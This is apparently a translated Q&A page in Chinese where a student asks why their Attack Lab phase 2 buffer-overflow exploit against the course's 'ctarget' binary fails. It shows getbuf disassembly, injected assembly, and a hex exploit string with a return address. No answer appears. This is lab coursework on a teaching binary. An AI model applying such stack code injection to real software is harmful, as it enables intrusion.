首页 > 解决方案 > 攻击实验室阶段2缓冲区溢出

问题描述

我必须做一个攻击实验室。而且我需要在缓冲区溢出的情况下运行 touch2()。我必须注入代码作为我的漏洞利用字符串的一部分,以使程序指向函数 touch2() 的地址。

当我查看 getbuf 时,我看到它有 0x18 (24) 个缓冲区。

0000000000001dbc <getbuf>:
    1dbc:       f3 0f 1e fa             endbr64
    1dc0:       48 83 ec 18             sub    $0x18,%rsp
    1dc4:       48 89 e7                mov    %rsp,%rdi
    1dc7:       e8 b5 02 00 00          callq  2081 <Gets>
    1dcc:       b8 01 00 00 00          mov    $0x1,%eax
    1dd1:       48 83 c4 18             add    $0x18,%rsp
    1dd5:       c3                      retq

而且我发现执行ctarget后touch2()的地址是0x555555555e0a,而%rsp-0x18是0x55641138。

这是我在汇编中的漏洞利用代码。阶段2.s

movq $0x6eb933c2,%rdi movq $0x555555555e0a, %rax pushq %rax ret

这是我传递给程序的答案。

48 c7 c7 c2 33 b9 6e 48 # bytecode of exploit code, padding 0x18
b8 0a 5e 55 55 55 55 00 
00 50 c3 00 00 00 00 00 
38 11 64 55 00 00 00 00 # #address of rsp - 0x38

然后我使用 hex2raw 创建并运行 phase2.raw 文件,但没有发生漏洞利用。

Cookie: 0x6eb933c2
No exploit.  Getbuf returned 0x1
Normal return

为什么没有发生缓冲区溢出?

标签: assemblybuffer-overflow

解决方案


推荐阅读